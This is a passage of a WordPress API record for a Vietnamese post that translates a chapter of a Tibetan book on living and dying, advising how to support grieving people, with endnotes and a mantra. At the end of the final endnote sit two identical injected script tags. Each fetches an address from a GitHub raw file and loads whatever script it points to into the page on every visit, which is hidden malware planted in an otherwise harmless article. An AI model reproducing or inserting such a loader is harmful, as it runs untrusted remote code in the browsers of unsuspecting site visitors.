c\u1ee7a b\u1ea1n. B\u1ea1n s\u1ebd c\u1ea7n d\u00e0nh nhi\u1ec1u th\u1eddi gian v\u1edbi h\u1ecd v\u00e0 \u0111\u1ec3 cho h\u1ecd th\u1ed5 l\u1ed9, im l\u1eb7ng nghe h\u1ecd m\u00e0 kh\u00f4ng ph\u00e1n x\u00e9t khi h\u1ecd nh\u1edb l\u1ea1i nh\u1eefng k\u00ed \u1ee9c ri\u00eang t\u01b0 nh\u1ea5t, hay c\u1ee9 l\u1eb7p \u0111i l\u1eb7p l\u1ea1i nh\u1eefng chi ti\u1ebft v\u1ec1 c\u00e1i ch\u1ebft. Tr\u00ean h\u1ebft, b\u1ea1n s\u1ebd c\u1ea7n \u0111\u01a1n gi\u1ea3n \u1edf \u0111\u00f3 c\u00f9ng h\u1ecd khi h\u1ecd tr\u1ea3i nghi\u1ec7m \u0111i\u1ec1u c\u00f3 l\u1ebd l\u00e0 n\u1ed7i \u0111au bu\u1ed3n c\u1eafn x\u00e9 nh\u1ea5t trong \u0111\u1eddi h\u1ecd. Ph\u1ea3i ch\u1eafc b\u1ea1n l\u00e0m cho b\u1ea3n th\u00e2n b\u1ea1n th\u00e0nh s\u1eb5n c\u00f3 cho h\u1ecd v\u00e0o m\u1ecdi l\u00fac, ngay c\u1ea3 khi h\u1ecd d\u01b0\u1eddng nh\u01b0 c\u00f3 v\u1ebb kh\u00f4ng c\u1ea7n \u0111\u1ebfn \u0111i\u1ec1u \u0111\u00f3. Carol, m\u1ed9t go\u00e1 ph\u1ee5, \u0111\u01b0\u1ee3c ph\u1ecfng v\u1ea5n cho m\u1ed9t lo\u1ea1t video v\u1ec1 ch\u1ebft, m\u1ed9t n\u0103m sau khi ch\u1ed3ng b\u00e0 \u1ea5y qua \u0111\u1eddi. B\u00e0 \u1ea5y \u0111\u01b0\u1ee3c h\u1ecfi: &#8220;Khi b\u00e0 nh\u00ecn l\u1ea1i n\u0103m qua, b\u00e0 s\u1ebd n\u00f3i ai l\u00e0 ng\u01b0\u1eddi \u0111\u00e3 gi\u00fap b\u00e0 nhi\u1ec1u nh\u1ea5t kh\u00f4ng?&#8221; B\u00e0 \u1ea5y n\u00f3i: &#8220;Nh\u1eefng ng\u01b0\u1eddi v\u1eabn th\u01b0\u1eddng g\u1ecdi d\u00e2y n\u00f3i v\u00e0 t\u1edbi th\u0103m t\u00f4i, ngay c\u1ea3 khi t\u00f4i \u0111\u00e3 n\u00f3i &#8216;kh\u00f4ng.'&#8221;<\/p>\n<p>Nh\u1eefng ng\u01b0\u1eddi \u0111ang \u0111au bu\u1ed3n \u0111ang tr\u1ea3i qua m\u1ed9t ki\u1ec3u ch\u1ebft. Gi\u1ed1ng nh\u01b0 ng\u01b0\u1eddi th\u1ef1c t\u1ea1i ch\u1ebft, h\u1ecd c\u1ea7n bi\u1ebft r\u1eb1ng c\u00e1c c\u1ea3m x\u00fac r\u1ed1i b\u1eddi m\u00e0 h\u1ecd c\u1ea3m th\u1ea5y l\u00e0 t\u1ef1 nhi\u00ean. H\u1ecd c\u1ea7n bi\u1ebft r\u1eb1ng qu\u00e1 tr\u00ecnh th\u01b0\u01a1ng ti\u1ebfc l\u00e0 l\u00e2u d\u00e0i v\u00e0 th\u01b0\u1eddng l\u00e0 quanh co, ni ti\u1ebfc th\u01b0\u01a1ng c\u1ee9 quay \u0111i quay l\u1ea1i theo chu k\u00ec. S\u1ef1 cho\u00e1ng v\u00e1ng, t\u00ea t\u00e1i v\u00e0 kh\u00f4ng tin c\u1ee7a h\u1ecd s\u1ebd phai nho\u00e0, v\u00e0 s\u1ebd b\u1ecb thay th\u1ebf b\u1edfi nh\u1eadn bi\u1ebft th\u1ea5t v\u1ecdng s\u00e2u s\u1eafc v\u00e0 nhi\u1ec1u l\u00fac v\u1ec1 s\u1ef1 m\u00e3nh li\u1ec7t c\u1ee7a m\u1ea5t m\u00e1t c\u1ee7a h\u1ecd, \u0111i\u1ec1u n\u00e0y b\u1ea3n th\u00e2n n\u00f3 cu\u1ed1i c\u00f9ng s\u1ebd l\u1eafng \u0111\u1ecdng trong tr\u1ea1ng th\u00e1i ph\u1ee5c h\u1ed3i v\u00e0 c\u00e2n b\u1eb1ng. N\u00f3i v\u1edbi h\u1ecd \u0111\u00e2y l\u00e0 h\u00ecnh m\u1eabu s\u1ebd l\u1eb7p \u0111i l\u1eb7p l\u1ea1i b\u1ea3n th\u00e2n n\u00f3, th\u00e1ng n\u1ecd ti\u1ebfp th\u00e1ng kia, v\u00e0 r\u1eb1ng m\u1ecdi c\u1ea3m gi\u00e1c v\u00e0 s\u1ee3 h\u00e3i kh\u00f4ng th\u1ec3 ch\u1ecbu \u0111\u1ef1ng \u0111\u01b0\u1ee3c c\u1ee7a h\u1ecd, v\u1ec1 kh\u00f4ng c\u00f3 kh\u1ea3 n\u0103ng ho\u1ea1t \u0111\u1ed9ng nh\u01b0 m\u1ed9t ng\u01b0\u1eddi th\u00eam n\u1eefa, c\u0169ng l\u00e0 b\u00ecnh th\u01b0\u1eddng. N\u00f3i v\u1edbi h\u1ecd r\u1eb1ng m\u1eb7c d\u00f9 h\u1ecd c\u00f3 th\u1ec3 m\u1ea5t m\u1ed9t \u0111\u1ebfn hai n\u0103m, n\u1ed7i ti\u1ebfc th\u01b0\u01a1ng c\u1ee7a h\u1ecd d\u1ee9t kho\u00e1t \u0111i t\u1edbi \u0111i\u1ec3m cu\u1ed1i v\u00e0 \u0111\u01b0\u1ee3c bi\u1ebfn \u0111\u1ed5i th\u00e0nh s\u1ef1 ch\u1ea5p nh\u1eadn.<\/p>\n<p>Nh\u01b0 Judy Tatelbaum n\u00f3i:<\/p>\n<p>&nbsp;<\/p>\n<p>Ti\u1ebfc th\u01b0\u01a1ng l\u00e0 m\u1ed9t v\u1ebft th\u01b0\u01a1ng c\u1ea7n c\u00f3 s\u1ef1 ch\u00fa \u00fd \u0111\u1ec3 ch\u1eefa l\u00e0nh. L\u00e0m vi\u1ec7c qua v\u00e0 ho\u00e0n th\u00e0nh ti\u1ebfc th\u01b0\u01a1ng ng\u1ee5 \u00fd \u0111\u1ed1i di\u1ec7n v\u1edbi t\u00ecnh c\u1ea3m c\u1ee7a ch\u00fang ta m\u1ed9t c\u00e1ch m\u1edf v\u00e0 th\u00e0nh th\u1ef1c, \u0111\u1ec3 di\u1ec5n \u0111\u1ea1t v\u00e0 x\u1ea3 ra nh\u1eefng vi\u1ec7c c\u1ea3m c\u1ee7a ch\u00fang ta m\u1ed9t c\u00e1ch \u0111\u1ea7y \u0111\u1ee7 v\u00e0 dung th\u1ee9 v\u00e0 ch\u1ea5p nh\u1eadn c\u00e1c vi\u1ec7c c\u1ea3m c\u1ee7a ch\u00fang ta d\u00f9 \u0111i\u1ec1u \u0111\u00f3 c\u1ea7n th\u1eddi gian d\u00e0i th\u1ebf n\u00e0o \u0111\u1ec3 v\u1ebft th\u01b0\u01a1ng \u0111\u01b0\u1ee3c ch\u1eefa l\u00e0nh. Ch\u00fang ta s\u1ee3 r\u1eb1ng m\u1ed9t khi \u0111\u01b0\u1ee3c th\u1eeba nh\u1eadn, ni\u1ec1m ti\u1ebfc th\u01b0\u01a1ng s\u1ebd l\u1ea1i qu\u1eadt ng\u00e3 ch\u00fang ta. S\u1ef1 th\u1eadt l\u00e0 n\u1ed7i ti\u1ebfc th\u01b0\u01a1ng \u0111\u01b0\u1ee3c tr\u1ea3i nghi\u1ec7m c\u00f3 tan bi\u1ebfn \u0111i. Ti\u1ebfc th\u01b0\u01a1ng kh\u00f4ng \u0111\u01b0\u1ee3c di\u1ec5n \u0111\u1ea1t l\u00e0 ti\u1ebfc th\u01b0\u01a1ng k\u00e9o d\u00e0i v\u00f4 t\u1eadn.<a href=\"#_edn4\" name=\"_ednref4\"><strong>[iv]<\/strong><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>\u0110i\u1ec1u bi k\u1ecbch l\u00e0 th\u01b0\u1eddng b\u1ea1n b\u00e8 v\u00e0 gia \u0111\u00ecnh c\u1ee7a ng\u01b0\u1eddi b\u1ecb m\u1ea5t th\u00e2n nh\u00e2n tr\u00f4ng \u0111\u1ee3i h\u1ecd &#8220;tr\u1edf l\u1ea1i b\u00ecnh th\u01b0\u1eddng&#8221; sau v\u00e0i th\u00e1ng. \u0110i\u1ec1u n\u00e0y ch\u1ec9 l\u00e0m m\u1ea1nh th\u00eam n\u1ed7i \u0111au v\u00e0 s\u1ef1 c\u00f4 \u0111\u01a1n c\u1ee7a h\u1ecd v\u00ec ti\u1ebfc th\u01b0\u01a1ng v\u1eabn ti\u1ebfp di\u1ec5n, v\u00e0 \u0111\u00f4i khi c\u00f2n s\u00e2u s\u1eafc h\u01a1n.<\/p>\n<p>\u1ede T\u00e2y T\u1ea1ng, nh\u01b0 t\u00f4i \u0111\u00e3 n\u00f3i, to\u00e0n th\u1ec3 c\u1ed9ng \u0111\u1ed3ng, b\u1ea1n b\u00e8 v\u00e0 h\u1ecd h\u00e0ng s\u1ebd tham gia trong b\u1ed1n m\u01b0\u01a1i ch\u00edn ng\u00e0y sau ch\u1ebft, v\u00e0 m\u1ecdi ng\u01b0\u1eddi \u0111\u1ec1u ho\u00e0n to\u00e0n b\u1eadn r\u1ed9n trong ho\u1ea1t \u0111\u1ed9ng gi\u00fap \u0111\u1ee1 t\u00e2m linh \u0111\u01b0\u1ee3c trao cho ng\u01b0\u1eddi ch\u1ebft, v\u1edbi h\u00e0ng tr\u0103m vi\u1ec7c c\u00f3 \u0111\u00f3 \u0111\u1ec3 l\u00e0m. Tang quy\u1ebfn s\u1ebd ti\u1ebfc th\u01b0\u01a1ng, v\u00e0 h\u1ecd s\u1ebd kh\u00f3c m\u1ed9t ch\u00fat, v\u00ec \u0111i\u1ec1u n\u00e0y l\u00e0 t\u1ef1 nhi\u00ean, v\u00e0 th\u1ebf r\u1ed3i khi m\u1ecdi ng\u01b0\u1eddi \u0111\u00e3 ra v\u1ec1, ng\u00f4i nh\u00e0 c\u00f3 v\u1ebb tr\u1ed1ng tr\u1ea3i. V\u1eady m\u00e0 theo nhi\u1ec1u c\u00e1ch th\u1ee9c tinh t\u1ebf, \u1ea5m l\u00f2ng, s\u1ef1 \u1ed3n \u00e0o v\u00e0 h\u1ed7 tr\u1ee3 trong b\u1ed1n m\u01b0\u01a1i ch\u00edn ng\u00e0y \u0111\u00f3 \u0111\u00e3 gi\u00fap h\u1ecd v\u01b0\u1ee3t qua ph\u1ea7n l\u1edbn nh\u1eefng ng\u00e0y \u0111\u1ec3 tang.<\/p>\n<p>Vi\u1ec7c \u0111\u1ed1i di\u1ec7n \u0111\u01a1n \u0111\u1ed9c v\u1edbi m\u1ea5t m\u00e1t trong x\u00e3 h\u1ed9i ch\u00fang ta l\u00e0 r\u1ea5t kh\u00e1c. V\u00e0 m\u1ecdi c\u1ea3m gi\u00e1c th\u00f4ng th\u01b0\u1eddng v\u1ec1 ti\u1ebfc th\u01b0\u01a1ng b\u1ecb khu\u1ebfch \u0111\u1ea1i m\u1ea1nh l\u00ean trong tr\u01b0\u1eddng h\u1ee3p ch\u1ebft b\u1ea5t th\u1ea7n, hay t\u1ef1 t\u1eed. N\u00f3 l\u00e0m t\u0103ng c\u1ea3m gi\u00e1c tang ch\u1ee7 l\u00e0 b\u1ea5t l\u1ef1c kh\u00f4ng c\u00f3 c\u00e1ch n\u00e0o gi\u00fap cho ng\u01b0\u1eddi y\u00eau c\u1ee7a h\u1ecd v\u1eeba qua \u0111\u1eddi. \u0110i\u1ec1u r\u1ea5t quan tr\u1ecdng \u0111\u1ed1i v\u1edbi nh\u1eefng ng\u01b0\u1eddi th\u00e2n c\u00f2n s\u1ed1ng c\u1ee7a ng\u01b0\u1eddi ch\u1ebft b\u1ea5t th\u1ea7n l\u00e0 t\u1edbi th\u0103m thi h\u00e0i ng\u01b0\u1eddi ch\u1ebft, n\u1ebfu kh\u00f4ng, kh\u00f3 m\u00e0 nh\u1eadn ra \u0111\u01b0\u1ee3c ch\u1ebft \u0111\u00e3 th\u1ef1c t\u1ea1i x\u1ea3y ra. N\u1ebfu c\u00f3 th\u1ec3 m\u1ecdi ng\u01b0\u1eddi n\u00ean ng\u1ed3i y\u00ean l\u1eb7ng b\u00ean c\u1ea1nh thi h\u00e0i, n\u00f3i nh\u1eefng \u0111i\u1ec1u h\u1ecd c\u1ea7n n\u00f3i, di\u1ec5n \u0111\u1ea1t t\u00ecnh y\u00eau c\u1ee7a h\u1ecd, v\u00e0 b\u1eaft \u0111\u1ea7u l\u00e0m l\u1ec5 truy \u0111i\u1ec7u.<\/p>\n<p>N\u1ebfu \u0111i\u1ec1u n\u00e0y l\u00e0 kh\u00f4ng th\u1ec3 \u0111\u01b0\u1ee3c, \u0111em \u1ea3nh c\u1ee7a ng\u01b0\u1eddi v\u1eeba ch\u1ebft t\u1edbi v\u00e0 ti\u1ebfn h\u00e0nh qu\u00e1 tr\u00ecnh truy \u0111i\u1ec7u, l\u00e0m tr\u1ecdn ngh\u0129a v\u1eb9n t\u00ecnh, th\u1ebf r\u1ed3i bu\u00f4ng b\u1ecf. \u0110\u1ed9ng vi\u00ean nh\u1eefng ng\u01b0\u1eddi \u0111ang ph\u1ea3i ch\u1ecbu \u0111\u1ef1ng n\u1ed7i \u0111au v\u1ec1 ch\u1ebft b\u1ea5t th\u1ea7n c\u1ee7a ng\u01b0\u1eddi th\u00e2n l\u00e0m \u0111i\u1ec1u n\u00e0y, v\u00e0 n\u00f3 s\u1ebd gi\u00fap cho h\u1ecd ch\u1ea5p nh\u1eadn \u0111\u01b0\u1ee3c th\u1ef1c t\u1ea1i m\u1edbi, n\u00e1t l\u00f2ng v\u1ec1 ch\u1ebft. N\u00f3i v\u1edbi h\u1ecd v\u1ec1 nh\u1eefng c\u00e1ch m\u00e0 t\u00f4i v\u1eeba m\u00f4 t\u1ea3 v\u1ec1 gi\u00fap cho ng\u01b0\u1eddi ch\u1ebft, nh\u1eefng c\u00e1ch \u0111\u01a1n gi\u1ea3n h\u1ecd c\u0169ng c\u00f3 th\u1ec3 s\u1eed d\u1ee5ng, thay v\u00ec ng\u1ed3i v\u00f4 v\u1ecdng xem \u0111i xem l\u1ea1i kho\u1ea3nh kh\u1eafc ch\u1ebft trong im l\u1eb7ng th\u1ea5t v\u1ecdng v\u00e0 t\u1ef1 tr\u00e1ch m\u00ecnh.<\/p>\n<p>Trong tr\u01b0\u1eddng h\u1ee3p ch\u1ebft b\u1ea5t th\u1ea7n, nh\u1eefng ng\u01b0\u1eddi s\u1ed1ng th\u01b0\u1eddng c\u00f3 th\u1ec3 tr\u1ea3i nghi\u1ec7m nh\u1eefng t\u00ecnh c\u1ea3m \u0111i\u00ean d\u1ea1i v\u00e0 kh\u00f4ng quen thu\u1ed9c v\u1ec1 gi\u1eadn \u0111i\u1ec1u h\u1ecd th\u1ea5y l\u00e0 nguy\u00ean nh\u00e2n c\u1ee7a c\u00e1i ch\u1ebft. Gi\u00fap h\u1ecd di\u1ec5n \u0111\u1ea1t s\u1ef1 gi\u1eadn d\u1eef, v\u00ec n\u00f3 l\u00e0 \u0111\u1ecba ng\u1ee5c b\u00ean trong, s\u1edbm hay mu\u1ed9n, n\u00f3 s\u1ebd k\u00e9o h\u1ecd v\u00e0o s\u1ef1 bu\u1ed3n phi\u1ec1n kinh ni\u00ean. Gi\u00fap cho h\u1ecd bu\u00f4ng b\u1ecf \u0111\u01b0\u1ee3c s\u1ef1 gi\u1eadn d\u1eef v\u00e0 \u0111\u1ec3 l\u1ed9 chi\u1ec1u s\u00e2u v\u1ebft \u0111au \u1ea9n k\u00edn b\u00ean d\u01b0\u1edbi. H\u1ecd c\u00f3 th\u1ec3 b\u1eaft \u0111\u1ea7u \u0111au nh\u01b0ng cu\u1ed1i c\u00f9ng ch\u1eefa l\u00e0nh qua vi\u1ec7c bu\u00f4ng b\u1ecf.<\/p>\n<p>\u0110i\u1ec1u r\u1ea5t th\u01b0\u1eddng hay x\u1ea3y ra cho ai \u0111\u00f3 c\u00f2n l\u1ea1i sau c\u00e1i ch\u1ebft c\u1ee7a ng\u01b0\u1eddi th\u00e2n l\u00e0 h\u1ecd c\u1ea3m th\u1ea5y <em>m\u1eb7c c\u1ea3m<\/em> s\u00e2u s\u1eafc khi nh\u00ecn l\u1ea1i m\u1ed9t c\u00e1ch \u00e1m \u1ea3nh nh\u1eefng sai l\u1ea7m c\u1ee7a h\u1ecd trong m\u1ed1i quan h\u1ec7 qu\u00e1 kh\u1ee9, hay h\u00e0nh h\u1ea1 b\u1ea3n th\u00e2n m\u00ecnh v\u1ec1 \u0111i\u1ec1u h\u1ecd c\u00f3 th\u1ec3 \u0111\u00e3 kh\u00f4ng l\u00e0m \u0111\u1ec3 ng\u0103n c\u1ea3n ch\u1ebft. Gi\u00fap h\u1ecd n\u00f3i v\u1ec1 nh\u1eefng vi\u1ec7c c\u1ea3m c\u1ee7a h\u1ecd v\u1ec1 m\u1eb7c c\u1ea3m, d\u00f9 ch\u00fang c\u00f3 v\u1ebb v\u00f4 l\u00ed v\u00e0 k\u00ec qu\u00e1i. D\u1ea7n d\u1ea7n nh\u1eefng vi\u1ec7c c\u1ea3m \u0111\u00f3 s\u1ebd v\u01a1i \u0111i v\u00e0 h\u1ecd s\u1ebd \u0111i t\u1edbi vi\u1ec7c tha th\u1ee9 cho b\u1ea3n th\u00e2n h\u1ecd v\u00e0 ti\u1ebfp t\u1ee5c v\u1edbi cu\u1ed9c \u0111\u1eddi c\u1ee7a h\u1ecd.<\/p>\n<p>&nbsp;<\/p>\n<p>T\u1eeb \u201cS\u00e1ch T\u00e2y T\u1ea1ng v\u1ec1 s\u1ed1ng v\u00e0 ch\u1ebft\u201d, Ch.19: Gi\u00fap \u0111\u1ee1 sau ch\u1ebft<\/p>\n<p><a href=\"#_ednref1\" name=\"_edn1\">[i]<\/a> C\u00e2u tr\u1ea3 l\u1eddi c\u1ee7a \u0110\u1ee9c \u0110\u1ea1y lai l\u1ea1t ma cho m\u1ed9t s\u1ed1 c\u00e2u h\u1ecfi v\u1ec1 ch\u1ebft v\u00e0 vi\u1ec7c ch\u1ebft. Xem Ph\u1ee5 l\u1ee5c 2, l\u01b0u \u00fd 1.<\/p>\n<p><a href=\"#_ednref2\" name=\"_edn2\">[ii]<\/a> Tu luy\u1ec7n truy\u1ec1n th\u1ed1ng nh\u01b0 \u0111i\u1ec1u n\u00e0y y\u00eau c\u1ea7u hu\u1ea5n luy\u1ec7n v\u00e0 kh\u00f4ng th\u1ec3 \u0111\u01b0\u1ee3c l\u00e0m theo \u0111\u01a1n gi\u1ea3n t\u1eeb cu\u1ed1n s\u00e1ch n\u00e0y. M\u1ed9t s\u1ed1 tu luy\u1ec7n n\u00e0o \u0111\u00f3 c\u0169ng y\u00eau c\u1ea7u truy\u1ec1n v\u00e0 trao quy\u1ec1n t\u1eeb th\u1ea7y c\u00f3 \u0111\u1ee7 t\u01b0 c\u00e1ch. T\u00f4i mong \u0111\u1ee3i t\u1ed5 ch\u1ee9c c\u00e1c ch\u01b0\u01a1ng tr\u00ecnh hu\u1ea5n luy\u1ec7n trong t\u01b0\u01a1ng lai v\u1ec1 c\u00e1ch ti\u1ebfp c\u1eadn Ph\u1eadt gi\u00e1o t\u1edbi ch\u1ebft v\u00e0 ch\u0103m s\u00f3c cho ng\u01b0\u1eddi s\u1eafp ch\u1ebft m\u00e0 s\u1ebd bao g\u1ed3m m\u1ed9t s\u1ed1 trong nh\u1eefng ph\u01b0\u01a1ng ph\u00e1p n\u00e0y. M\u1ed9t l\u1ec5 \u0111\u01a1n gi\u1ea3n v\u00e0 h\u01b0\u1edbng d\u1eabn cho ng\u01b0\u1eddi ch\u1ebft s\u1ebd l\u00e0 s\u1eb5n c\u00f3, d\u1ef1a tr\u00ean l\u1eddi khuy\u00ean c\u1ee7a \u0110\u1ea1i s\u01b0 Dilgo Khyentse.<\/p>\n<p><a href=\"#_ednref3\" name=\"_edn3\">[iii]<\/a> M\u1eadt ch\u00fa tr\u0103m \u00e2m l\u00e0 OM VAJRA SATTVA SAMAYA MANUPALAYA VAJRA SATTVA TENOPA TISHTHA DRI DHO ME BHAWA SUTOKHAYO ME BHAWA SUPOKHAYO ME BHAWA ANURAKTO ME BHAWA SARWA SIDDHI ME PRAYATSA SARWA KARMA SUTSA ME TSITTAM SHRIYAM KURU HUM HA HA HA HA HO BHAGAWAN SARWA TATHACATA VAJRA MAMEMUNTSA VAJRIBHAWA MAHA SAMAYASATTVA AH.<\/p>\n<p><a href=\"#_ednref4\" name=\"_edn4\">[iv]<\/a> Judy Tatelbaum, The Courage to Grieve: Creative Living, Recovery and Growth through Grief (New York: Harper &amp; Row, 1980).<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>S\u00e1ch T\u00e2y T\u1ea1ng v\u1ec1 ng\u01b0\u1eddi ch\u1ebft \u1ede T\u00e2y T\u1ea1ng m\u1ed9t khi th\u1ef1c h\u00e0nh chuy\u1ec3n th\u1ee9c \u0111\u00e3 \u0111\u01b0\u1ee3c th\u1ef1c hi\u1ec7n cho ng\u01b0\u1eddi s\u1eafp ch\u1ebft, S\u00e1ch T\u00e2y &hellip; <\/p>\n","protected":false},"author":3,"featured_media":3872,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[66],"tags":[],"class_list":["post-3871","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cach-song-va-chet"],"_links":{"self":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts\/3871","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3871"}],"version-history":[{"count":3,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts\/3871\/revisions"}],"predecessor-version":[{"id":4730,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts\/3871\/revisions\/4730"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/media\/3872"}],"wp:attachment":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3871"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3871"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3871"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}